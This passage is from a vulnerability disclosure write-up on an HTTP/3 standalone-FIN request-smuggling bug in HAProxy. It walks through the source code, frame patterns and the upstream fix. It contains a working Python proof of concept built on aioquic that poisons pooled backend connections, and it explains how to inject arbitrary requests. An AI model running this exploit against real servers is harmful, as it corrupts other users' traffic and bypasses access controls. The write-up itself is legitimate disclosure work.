<p>Two separate conditions can put H1 into <code class="language-plaintext highlighter-rouge">MSG_DONE</code>: either upstream set <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code>, <strong>or</strong> the declared <code class="language-plaintext highlighter-rouge">Content-Length</code> (<code class="language-plaintext highlighter-rouge">H1_MF_CLEN</code>) has been fully consumed (<code class="language-plaintext highlighter-rouge">curr_len</code> reached zero). In the bug scenario, the H3 fast-path sets <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code> while <code class="language-plaintext highlighter-rouge">curr_len</code> is still non-zero — so the EOM branch fires, the request is considered complete, and the H1 mux moves on without ever waiting for the missing body bytes that <code class="language-plaintext highlighter-rouge">Content-Length</code> had announced.</p>

<p>This isn’t a bug in <code class="language-plaintext highlighter-rouge">mux_h1</code>. It’s a <strong>trust boundary</strong>: when H3 emits <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code>, mux_h1 takes that as a binding statement that the message is complete and acts on it without re-deriving completion from the body length it forwarded. The H1 mux can’t second-guess every upstream mux — if the HTX contract is violated, the bug is in whoever set <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code> without earning the right to.</p>

<h3 id="34-where-haproxy-validates-body-size">3.4 Where HAProxy validates body size</h3>

<p><code class="language-plaintext highlighter-rouge">src/h3.c</code> has a body-size validator:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* src/h3.c — h3_check_body_size(), lines 447-479 */</span>
<span class="k">static</span> <span class="kt">int</span> <span class="nf">h3_check_body_size</span><span class="p">(</span><span class="k">struct</span> <span class="n">qcs</span> <span class="o">*</span><span class="n">qcs</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fin</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">h3s</span> <span class="o">*</span><span class="n">h3s</span> <span class="o">=</span> <span class="n">qcs</span><span class="o">-&gt;</span><span class="n">ctx</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">h3s</span><span class="o">-&gt;</span><span class="n">data_len</span> <span class="o">&gt;</span> <span class="n">h3s</span><span class="o">-&gt;</span><span class="n">body_len</span> <span class="o">||</span>
        <span class="p">(</span><span class="n">fin</span> <span class="o">&amp;&amp;</span> <span class="n">h3s</span><span class="o">-&gt;</span><span class="n">data_len</span> <span class="o">&lt;</span> <span class="n">h3s</span><span class="o">-&gt;</span><span class="n">body_len</span><span class="p">))</span> <span class="p">{</span>
        <span class="cm">/* Content-Length mismatch — reject as malformed */</span>
        <span class="n">h3s</span><span class="o">-&gt;</span><span class="n">err</span> <span class="o">=</span> <span class="n">H3_ERR_MESSAGE_ERROR</span><span class="p">;</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If <code class="language-plaintext highlighter-rouge">fin</code> is set and we received fewer body bytes than declared in <code class="language-plaintext highlighter-rouge">Content-Length</code>, reject as malformed. This is the <a href="https://datatracker.ietf.org/doc/html/rfc9114#section-4.1.2">RFC 9114 §4.1.2</a> check.</p>

<p>This function is called inside the DATA-frame parsing loop in <code class="language-plaintext highlighter-rouge">h3_rcv_buf()</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* src/h3.c — h3_rcv_buf(), the normal path */</span>
<span class="k">while</span> <span class="p">(</span><span class="n">b_data</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">...)</span> <span class="p">{</span>
    <span class="cm">/* parse H3 frames one at a time */</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">ftype</span> <span class="o">==</span> <span class="n">H3_FT_DATA</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">h3s</span><span class="o">-&gt;</span><span class="n">data_len</span> <span class="o">+=</span> <span class="n">flen</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">h3s</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">H3_SF_HAVE_CLEN</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">h3_check_body_size</span><span class="p">(</span><span class="n">qcs</span><span class="p">,</span> <span class="p">...))</span>    <span class="c1">// ← THE CHECK</span>
                <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">while</code> loop condition includes <code class="language-plaintext highlighter-rouge">b_data(b)</code> — “while there are bytes in the buffer.” As long as there’s data to parse, the validator runs.</p>

<h3 id="35-the-fast-path-that-skips-it">3.5 The fast-path that skips it</h3>

<p>But right before that <code class="language-plaintext highlighter-rouge">while</code> loop, there’s a fast-path:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* src/h3.c — h3_rcv_buf(), line ~1746 */</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">b_data</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">fin</span> <span class="o">&amp;&amp;</span> <span class="n">quic_stream_is_bidi</span><span class="p">(</span><span class="n">qcs</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">qcs_http_handle_standalone_fin</span><span class="p">(</span><span class="n">qcs</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">goto</span> <span class="n">err</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">goto</span> <span class="n">done</span><span class="p">;</span>    <span class="c1">// ← SKIPS THE ENTIRE while LOOP</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Reading the condition:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">!b_data(b)</code> — the buffer is empty (zero application bytes — see property 3 in §3.1).</li>
  <li><code class="language-plaintext highlighter-rouge">fin</code> — the stream is remotely closed (see property 1 in §3.1).</li>
  <li><code class="language-plaintext highlighter-rouge">quic_stream_is_bidi()</code> — this is a bidirectional stream (HTTP requests always are).</li>
</ul>

<p>If all three hold, <code class="language-plaintext highlighter-rouge">qcs_http_handle_standalone_fin()</code> runs and control jumps to <code class="language-plaintext highlighter-rouge">done</code>. The <code class="language-plaintext highlighter-rouge">while</code> loop with <code class="language-plaintext highlighter-rouge">h3_check_body_size()</code> <strong>never executes</strong>.</p>

<p>What does <code class="language-plaintext highlighter-rouge">qcs_http_handle_standalone_fin()</code> do? Here is the actual implementation from <code class="language-plaintext highlighter-rouge">src/qmux_http.c:67-86</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">qcs_http_handle_standalone_fin</span><span class="p">(</span><span class="k">struct</span> <span class="n">qcs</span> <span class="o">*</span><span class="n">qcs</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">buffer</span> <span class="o">*</span><span class="n">appbuf</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">htx</span> <span class="o">*</span><span class="n">htx</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">eom</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">appbuf</span> <span class="o">=</span> <span class="n">qcc_get_stream_rxbuf</span><span class="p">(</span><span class="n">qcs</span><span class="p">)))</span>
        <span class="k">goto</span> <span class="n">err</span><span class="p">;</span>

    <span class="n">htx</span> <span class="o">=</span> <span class="n">htx_from_buf</span><span class="p">(</span><span class="n">appbuf</span><span class="p">);</span>
    <span class="n">eom</span> <span class="o">=</span> <span class="n">htx_set_eom</span><span class="p">(</span><span class="n">htx</span><span class="p">);</span>
    <span class="n">htx_to_buf</span><span class="p">(</span><span class="n">htx</span><span class="p">,</span> <span class="n">appbuf</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">eom</span><span class="p">)</span>
        <span class="k">goto</span> <span class="n">err</span><span class="p">;</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>

 <span class="nl">err:</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The relevant call is <code class="language-plaintext highlighter-rouge">htx_set_eom(htx)</code>, which sets the <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code> flag on the HTX message (and inserts an empty <code class="language-plaintext highlighter-rouge">HTX_BLK_EOT</code> block if the HTX is empty, so the EOM flag has something to attach to). No validation. No check that <code class="language-plaintext highlighter-rouge">Content-Length</code> matches <code class="language-plaintext highlighter-rouge">data_len</code>. It takes the client’s word for it.</p>

<p><strong>This is the bug.</strong> The shortcut sets the “message complete” flag without verifying that the message is actually complete. As the HAProxy maintainer wrote in the fix commit message: <em>“this shortcut bypasses an important HTTP/3 validation check on the received body size vs the announced content-length header.”</em></p>

<h3 id="36-when-does-the-fast-path-trigger-back-to-the-protocol">3.6 When does the fast-path trigger? Back to the protocol</h3>

<p>From §2.9 and §3.1, the entry condition <code class="language-plaintext highlighter-rouge">!b_data(b) &amp;&amp; fin &amp;&amp; quic_stream_is_bidi(qcs-&gt;id)</code> is reached in exactly one physical circumstance: a STREAM frame has just been handed to the dispatcher with <code class="language-plaintext highlighter-rouge">fin = 1</code> and the per-stream buffer contains zero bytes — either because no application data was ever received, or because earlier calls of <code class="language-plaintext highlighter-rouge">h3_rcv_buf</code> already consumed everything that had arrived. <strong>What determines whether that activation is legitimate or malicious is the one thing the fast-path never asks: does <code class="language-plaintext highlighter-rouge">data_len</code> match the declared <code class="language-plaintext highlighter-rouge">Content-Length</code>?</strong></p>

<p>The table below enumerates the five client patterns that can reach the dispatcher for a request-carrying bidi stream. The notation <code class="language-plaintext highlighter-rouge">{…}</code> denotes a single QUIC STREAM frame; the symbols inside are the H3 frames it carries (<code class="language-plaintext highlighter-rouge">HEADERS</code>, <code class="language-plaintext highlighter-rouge">DATA(n)</code> where <code class="language-plaintext highlighter-rouge">n</code> is the DATA frame payload length), plus the QUIC <code class="language-plaintext highlighter-rouge">FIN</code> bit on the STREAM frame itself. <code class="language-plaintext highlighter-rouge">body_len</code> is the value declared in <code class="language-plaintext highlighter-rouge">Content-Length</code>; <code class="language-plaintext highlighter-rouge">data_len</code> is the running count of DATA-frame payload bytes the H3 layer has seen so far (maintained at <code class="language-plaintext highlighter-rouge">src/h3.c:1782</code>).</p>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Client sends</th>
      <th><code class="language-plaintext highlighter-rouge">data_len</code> vs <code class="language-plaintext highlighter-rouge">body_len</code> on last call</th>
      <th>Fast-path triggers?</th>
      <th>Validator runs?</th>
      <th>Outcome</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">{HEADERS + DATA(body) + FIN}</code></td>
      <td><code class="language-plaintext highlighter-rouge">=</code></td>
      <td>no — buffer has DATA</td>
      <td>yes, in DATA loop</td>
      <td>✓ legitimate (✗ if mismatched)</td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">{HEADERS}</code> + <code class="language-plaintext highlighter-rouge">{DATA(body) + FIN}</code></td>
      <td><code class="language-plaintext highlighter-rouge">=</code></td>
      <td>no — buffer has DATA on frame 2</td>
      <td>yes, in DATA loop</td>
      <td>✓ legitimate (✗ if mismatched)</td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">{HEADERS}</code> + <code class="language-plaintext highlighter-rouge">{DATA(body)}</code> + <code class="language-plaintext highlighter-rouge">{len=0, FIN}</code></td>
      <td><code class="language-plaintext highlighter-rouge">=</code></td>
      <td><strong>yes</strong>, on frame 3</td>
      <td><strong>no</strong> — skipped</td>
      <td>✓ legitimate (by coincidence)</td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">{HEADERS}</code> + <code class="language-plaintext highlighter-rouge">{DATA(partial)}</code> + <code class="language-plaintext highlighter-rouge">{len=0, FIN}</code></td>
      <td><code class="language-plaintext highlighter-rouge">&lt;</code></td>
      <td><strong>yes</strong>, on frame 3</td>
      <td><strong>no</strong> — skipped</td>
      <td>✗ <strong>smuggled</strong> (partial body)</td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">{HEADERS}</code> + <code class="language-plaintext highlighter-rouge">{len=0, FIN}</code></td>
      <td><code class="language-plaintext highlighter-rouge">0 &lt;</code></td>
      <td><strong>yes</strong>, on frame 2</td>
      <td><strong>no</strong> — skipped</td>
      <td>✗ <strong>smuggled</strong> (empty body)</td>
    </tr>
  </tbody>
</table>

<p>The correlation the table makes visible is the bug in one line: <strong>fast-path triggers ⇔ validator is skipped</strong>. The trigger condition depends only on the transport-level shape of the frames (<code class="language-plaintext highlighter-rouge">!b_data(b) &amp;&amp; fin</code>), while the distinction between legitimate and malicious traffic lives one layer up, in the H3 counters <code class="language-plaintext highlighter-rouge">data_len</code> and <code class="language-plaintext highlighter-rouge">body_len</code> that the fast-path never consults.</p>

<p>The fast-path is not an accident of design. Row 3 is a legitimate pattern permitted by <a href="https://datatracker.ietf.org/doc/html/rfc9000#section-19.8">RFC 9000 §19.8</a> — a STREAM frame may carry zero bytes so long as it sets the FIN bit. And the dispatch loop in <code class="language-plaintext highlighter-rouge">qcc_recv</code> (<code class="language-plaintext highlighter-rouge">src/mux_quic.c:1965-1976</code>) re-enters <code class="language-plaintext highlighter-rouge">qcc_decode_qcs</code> only on two events: new application bytes become available, <strong>or</strong> <code class="language-plaintext highlighter-rouge">fin_standalone &amp;&amp; qcs_is_close_remote(qcs)</code> holds. For a row-3 request, by the time the empty-FIN STREAM frame is processed the earlier DATA has already been consumed and the buffer is empty; the only way <code class="language-plaintext highlighter-rouge">h3_rcv_buf</code> sees the close signal at all is through the <code class="language-plaintext highlighter-rouge">fin_standalone</code> branch — which is exactly the branch that triggers the fast-path. Without this shortcut the request would hang at EOM forever. The fix commit from Amaury Denoyelle describes the history as <em>“this situation is tedious to handle and haproxy parsing code has changed several times to deal with it”</em> — the shortcut is the current form.</p>

<p><strong>The bug is that the shortcut conflates two facts that look identical on the wire but aren’t semantically equivalent</strong>: “the QUIC stream is closed and the buffer is empty” ≠ “the HTTP message is complete.” Those facts coincide only when <code class="language-plaintext highlighter-rouge">data_len == body_len</code> at the moment the FIN arrives. The pre-fix code never compared the two on this path. Quoting the same commit verbatim: <em>“this shortcut bypasses an important HTTP/3 validation check on the received body size vs the announced content-length header. Under some conditions, this could cause a desynchronization with the backend server which could be exploited for request smuggling.”</em></p>

<p>This generalizes rows 4 and 5: they are the same bug expressed with different body amounts. <strong>Any pattern where a standalone-FIN arrives while <code class="language-plaintext highlighter-rouge">data_len &lt; body_len</code> and <code class="language-plaintext highlighter-rouge">Content-Length</code> was declared smuggles.</strong> The exploit in §4.2 uses row 5 because it produces maximal mismatch with minimal traffic — zero body bytes against a declared <code class="language-plaintext highlighter-rouge">Content-Length: N</code> of the attacker’s choice. Row 4 (<code class="language-plaintext highlighter-rouge">Content-Length: 5</code>, a DATA frame with 3 bytes, then a separate empty-FIN) is equally exploitable and looks more like organic traffic on the wire — a request that appears to be merely truncated by network instability. The table’s fourth row is the unlucky cousin of row 3.</p>

<p>One precondition constrains the attack: the request must declare <code class="language-plaintext highlighter-rouge">Content-Length</code>. <code class="language-plaintext highlighter-rouge">h3_check_body_size</code> is gated by <code class="language-plaintext highlighter-rouge">H3_SF_HAVE_CLEN</code> — the function begins with <code class="language-plaintext highlighter-rouge">BUG_ON(!(h3s-&gt;flags &amp; H3_SF_HAVE_CLEN))</code> at <code class="language-plaintext highlighter-rouge">src/h3.c:454</code> — and the fast-path emits EOM without ever consulting either counter. A request with no <code class="language-plaintext highlighter-rouge">Content-Length</code> has <code class="language-plaintext highlighter-rouge">body_len = 0</code> and effectively no body contract to violate. POST requests with declared bodies are the natural target anyway: the smuggling primitive depends on the backend reserving room for body bytes that never arrive, and no body means no reservation.</p>

<p>The contrast with HTTP/2 (already built up in §2.9) lands here as a one-line summary: in H/2 an <code class="language-plaintext highlighter-rouge">END_STREAM</code> always rides on a DATA or HEADERS frame and therefore always carries at least 9 bytes of application payload through the H/2 parser — there is no transport-level “close without payload” primitive. In HTTP/3 there is, and the fast-path condition <code class="language-plaintext highlighter-rouge">!b_data(b) &amp;&amp; fin</code> is exactly what recognizes it.</p>

<p>Two properties of the resulting bug are worth pinning down before we move to the exploit:</p>

<ul>
  <li>
    <p><strong>The attack is deterministic, not racy.</strong> From §3.1, <code class="language-plaintext highlighter-rouge">h3_rcv_buf()</code> runs once per STREAM frame regardless of upstream batching. Whether the attacker sends the HEADERS and the standalone-FIN in the same UDP datagram, in back-to-back datagrams, or 300 ms apart, each STREAM frame produces an isolated call with its own <code class="language-plaintext highlighter-rouge">(b, fin)</code> snapshot and the dispatcher arrives at <code class="language-plaintext highlighter-rouge">(b = empty, fin = 1)</code> on the FIN call either way. No race, no timing window.</p>
  </li>
  <li>
    <p><strong>The bug lives in the gap between two layers.</strong> The H3 layer writes <code class="language-plaintext highlighter-rouge">HTX_FL_EOM</code> into the HTX on a code path that never compared <code class="language-plaintext highlighter-rouge">data_len</code> against <code class="language-plaintext highlighter-rouge">body_len</code>. The downstream H1 mux takes that flag as a binding assertion (§3.3) and never re-derives completion from <code class="language-plaintext highlighter-rouge">curr_len</code>. Neither layer is individually wrong — each acts on information the other was supposed to validate. The fast-path is the place the contract breaks.</p>
  </li>
</ul>

<hr />

<h2 id="4-the-exploit">4. The exploit</h2>

<h3 id="41-the-connection-pool-problem">4.1 The connection pool problem</h3>

<p>HAProxy is a reverse proxy. It sits between clients and backends. To save resources, HAProxy <strong>reuses</strong> TCP connections to the backend: after serving user A’s request, the same TCP socket can be used for user B’s request. This is the “backend connection pool.”</p>

<p>The smuggling works like this:</p>

<ol>
  <li>Attacker sends a POST with <code class="language-plaintext highlighter-rouge">Content-Length: 5</code> but zero body bytes (via the FIN bug).</li>
  <li>HAProxy forwards <code class="language-plaintext highlighter-rouge">POST /photos HTTP/1.1\r\nContent-Length: 5\r\n\r\n</code> (with zero body) to the backend over TCP.</li>
  <li>The backend (nginx) sends a <code class="language-plaintext highlighter-rouge">301 Moved Permanently</code> — a redirect because <code class="language-plaintext highlighter-rouge">/photos</code> is a directory without a trailing slash. This is an “early response”: nginx replies before consuming the body.</li>
  <li>HAProxy receives the 301, marks the request as done (<code class="language-plaintext highlighter-rouge">H1_MSG_DONE</code>), and <strong>returns the TCP connection to the pool</strong>. But nginx is still expecting 5 body bytes.</li>
  <li>A victim’s request gets assigned to that same pooled TCP connection.</li>
  <li>Nginx reads the first 5 bytes of the victim’s request as the missing body. The rest gets parsed as a new HTTP request → 400 Bad Request.</li>
</ol>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/smuggling-desync-sequence.svg" alt="Desync sequence: attacker poisons the pooled backend connection; victim's request gets corrupted." /></p>

<p>The victim doesn’t have to be on H3. They don’t even have to know QUIC exists. The pool is HAProxy’s <strong>backend</strong> TCP pool — every frontend protocol (H1, H2, H3) funnels requests through the same set of upstream TCP sockets. In the demo, the attacker is a Python script over QUIC and the victim is Chrome browsing over H2.</p>

<h3 id="42-the-poc">4.2 The PoC</h3>

<p>The exploit core fits in two functions. The key trick is using aioquic’s <strong>QUIC-layer</strong> API (<code class="language-plaintext highlighter-rouge">self._quic.send_stream_data</code>) instead of the H3-layer API (<code class="language-plaintext highlighter-rouge">self._h3.send_data</code>).</p>

<p>Why? Because the H3-layer API wraps everything in H3 DATA frames, which have their own header bytes. Even an empty <code class="language-plaintext highlighter-rouge">send_data</code> produces a frame header — a few bytes of H3 framing overhead. Those bytes show up in the buffer, <code class="language-plaintext highlighter-rouge">b_data(b)</code> is not zero, and the fast-path doesn’t trigger.</p>

<p>The QUIC-layer API lets us send a raw STREAM frame with zero payload bytes and the FIN bit. No H3 framing. The buffer is truly empty.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">poison</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">path</span><span class="o">=</span><span class="s">"/photos"</span><span class="p">,</span> <span class="n">content_length</span><span class="o">=</span><span class="mi">5</span><span class="p">):</span>
    <span class="s">"""Send H3 HEADERS with Content-Length, don't close the stream."""</span>
    <span class="n">stream_id</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">_quic</span><span class="p">.</span><span class="n">get_next_available_stream_id</span><span class="p">()</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">_h3</span><span class="p">.</span><span class="n">send_headers</span><span class="p">(</span>
        <span class="n">stream_id</span><span class="o">=</span><span class="n">stream_id</span><span class="p">,</span>
        <span class="n">headers</span><span class="o">=</span><span class="p">[</span>
            <span class="p">(</span><span class="sa">b</span><span class="s">":method"</span><span class="p">,</span>         <span class="sa">b</span><span class="s">"POST"</span><span class="p">),</span>
            <span class="p">(</span><span class="sa">b</span><span class="s">":path"</span><span class="p">,</span>           <span class="n">path</span><span class="p">.</span><span class="n">encode</span><span class="p">()),</span>
            <span class="p">(</span><span class="sa">b</span><span class="s">":authority"</span><span class="p">,</span>      <span class="n">host</span><span class="p">.</span><span class="n">encode</span><span class="p">()),</span>
            <span class="p">(</span><span class="sa">b</span><span class="s">":scheme"</span><span class="p">,</span>         <span class="sa">b</span><span class="s">"https"</span><span class="p">),</span>
            <span class="p">(</span><span class="sa">b</span><span class="s">"content-length"</span><span class="p">,</span>  <span class="nb">str</span><span class="p">(</span><span class="n">content_length</span><span class="p">).</span><span class="n">encode</span><span class="p">()),</span>
            <span class="p">(</span><span class="sa">b</span><span class="s">"content-type"</span><span class="p">,</span>    <span class="sa">b</span><span class="s">"application/octet-stream"</span><span class="p">),</span>
        <span class="p">],</span>
        <span class="n">end_stream</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span>       <span class="c1"># ← don't close the stream yet
</span>    <span class="p">)</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">transmit</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">stream_id</span>

<span class="k">def</span> <span class="nf">send_fin</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">stream_id</span><span class="p">):</span>
    <span class="s">"""Send a raw QUIC STREAM FIN with zero payload."""</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">_quic</span><span class="p">.</span><span class="n">send_stream_data</span><span class="p">(</span><span class="n">stream_id</span><span class="p">,</span> <span class="sa">b</span><span class="s">""</span><span class="p">,</span> <span class="n">end_stream</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="c1">#          ↑ QUIC layer         ↑ no data    ↑ set FIN
</span>    <span class="c1"># NOT self._h3.send_data — that would add H3 framing bytes
</span>    <span class="bp">self</span><span class="p">.</span><span class="n">transmit</span><span class="p">()</span>
</code></pre></div></div>

<p>Run it in a loop (<code class="language-plaintext highlighter-rouge">poc.py --interval 0.5</code>), open Chrome on <code class="language-plaintext highlighter-rouge">https://haproxy:10002/status</code>, and refresh. Roughly <strong>50% of responses come back as 400 Bad Request</strong> — the other 50% land on clean connections that haven’t been poisoned.</p>

<p><img src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/screen_exploit_once.png" alt="Cover" /></p>

<video controls="" width="100%">
  <source src="/assets/2026-04-14-haproxy-h3-standalone-fin-smuggling/haproxy_smug.mp4" type="video/mp4" />
</video>
<h3 id="43-arbitrary-request-injection">4.3 Arbitrary request injection</h3>

<p>The desync is more than a DoS. By calibrating <code class="language-plaintext highlighter-rouge">Content-Length</code> to match the exact byte length of the victim’s request headers, the attacker can make the backend parse the POST body as a completely new HTTP request — effectively injecting arbitrary requests that bypass any ACL, auth, or rate-limiting that the reverse proxy enforces.</p>

<h3 id="44-configuration-required">4.4 Configuration required</h3>

<p>The attack requires <code class="language-plaintext highlighter-rouge">http-reuse always</code> in the backend configuration:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>backend mybackend
    http-reuse always      # required — enables connection pool sharing
    server srv1 backend:80
</code></pre></div></div>

<p>HAProxy 2.4+ defaults to <code class="language-plaintext highlighter-rouge">http-reuse safe</code>, which restricts reuse after requests with a body. This prevents exploitation under default config. But <code class="language-plaintext highlighter-rouge">always</code> is widely used in production for performance.</p>

<hr />

<h2 id="5-on-the-cvss-score">5. On the CVSS score</h2>

<p>NVD scored this at CVSS 3.1 <strong>4.0</strong> (Medium), based on high attack complexity and low integrity impact. I believe this significantly underestimates the real-world impact:</p>

<ul>
  <li>The attack is <strong>fully deterministic</strong> — no timing, no race conditions, no luck needed.</li>
  <li>Under sustained attack, <strong>~50% of concurrent traffic</strong> receives corrupted responses.</li>
  <li>It enables <strong>arbitrary request injection</strong>, not just connection corruption.</li>
  <li>The attacker needs only a ~150-line Python script and a network path to the H3 listener.</li>
</ul>

<p>My own assessment was closer to <strong>8.1</strong> (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N). The non-default configuration requirement (<code class="language-plaintext highlighter-rouge">http-reuse always</code> + H3 enabled) is the main mitigating factor.</p>

<hr />

<h2 id="6-the-fix">6. The fix</h2>

<p>The HAProxy team patched this in commit <a href="https://github.com/haproxy/haproxy/commit/05a295441c621089ffa4318daf0dbca2dd756a84"><code class="language-plaintext highlighter-rouge">05a29544</code></a> by Amaury Denoyelle on 2026-03-18. The patch adds 8 lines to <code class="language-plaintext highlighter-rouge">src/h3.c</code>, inserting a <code class="language-plaintext highlighter-rouge">Content-Length</code> check inside the standalone-FIN shortcut and rejecting the stream with a reset if validation fails:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">b_data</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">fin</span> <span class="o">&amp;&amp;</span> <span class="n">quic_stream_is_bidi</span><span class="p">(</span><span class="n">qcs</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">TRACE_PROTO</span><span class="p">(</span><span class="s">"received FIN without data"</span><span class="p">,</span> <span class="n">H3_EV_RX_FRAME</span><span class="p">,</span> <span class="n">qcs</span><span class="o">-&gt;</span><span class="n">qcc</span><span class="o">-&gt;</span><span class="n">conn</span><span class="p">,</span> <span class="n">qcs</span><span class="p">);</span>

    <span class="cm">/* FIN received, ensure body length is conform to any content-length header. */</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">h3s</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">H3_SF_HAVE_CLEN</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">h3_check_body_size</span><span class="p">(</span><span class="n">qcs</span><span class="p">,</span> <span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">qcc_abort_stream_read</span><span class="p">(</span><span class="n">qcs</span><span class="p">);</span>
        <span class="n">qcc_reset_stream</span><span class="p">(</span><span class="n">qcs</span><span class="p">,</span> <span class="n">h3s</span><span class="o">-&gt;</span><span class="n">err</span><span class="p">);</span>
        <span class="k">goto</span> <span class="n">done</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">qcs_http_handle_standalone_fin</span><span class="p">(</span><span class="n">qcs</span><span class="p">))</span> <span class="p">{</span>
        <span class="n">TRACE_ERROR</span><span class="p">(</span><span class="s">"cannot set EOM"</span><span class="p">,</span> <span class="n">H3_EV_RX_FRAME</span><span class="p">,</span> <span class="n">qcs</span><span class="o">-&gt;</span><span class="n">qcc</span><span class="o">-&gt;</span><span class="n">conn</span><span class="p">,</span> <span class="n">qcs</span><span class="p">);</span>
        <span class="n">qcc_set_error</span><span class="p">(</span><span class="n">qcs</span><span class="o">-&gt;</span><span class="n">qcc</span><span class="p">,</span> <span class="n">H3_ERR_INTERNAL_ERROR</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="k">goto</span> <span class="n">err</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">goto</span> <span class="n">done</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The fix calls <code class="language-plaintext highlighter-rouge">h3_check_body_size(qcs, 1)</code> — the <code class="language-plaintext highlighter-rouge">1</code> is the <code class="language-plaintext highlighter-rouge">fin</code> argument explicitly, since at this point we know the stream has been closed. If <code class="language-plaintext highlighter-rouge">h3_check_body_size</code> rejects (i.e. <code class="language-plaintext highlighter-rouge">data_len &lt; body_len</code>), the patch does <strong>not</strong> kill the entire QUIC connection. It calls <code class="language-plaintext highlighter-rouge">qcc_abort_stream_read</code> + <code class="language-plaintext highlighter-rouge">qcc_reset_stream</code> to send a <code class="language-plaintext highlighter-rouge">RESET_STREAM</code> frame back to the client with the <code class="language-plaintext highlighter-rouge">H3_MESSAGE_ERROR</code> code, and <code class="language-plaintext highlighter-rouge">goto done</code> cleanly. Only the offending stream is reset; the rest of the connection survives. This is per <a href="https://datatracker.ietf.org/doc/html/rfc9114#section-4.1.2">RFC 9114 §4.1.2</a> — malformed messages should be treated as stream errors of type <code class="language-plaintext highlighter-rouge">H3_MESSAGE_ERROR</code>, not connection-fatal errors.</p>

<p>The author Amaury Denoyelle credits the report to me in the commit body: <em>“Thanks to Martino Spagnuolo for his detailed report on this issue and for having contacting us about it via the security mailing list.”</em></p>

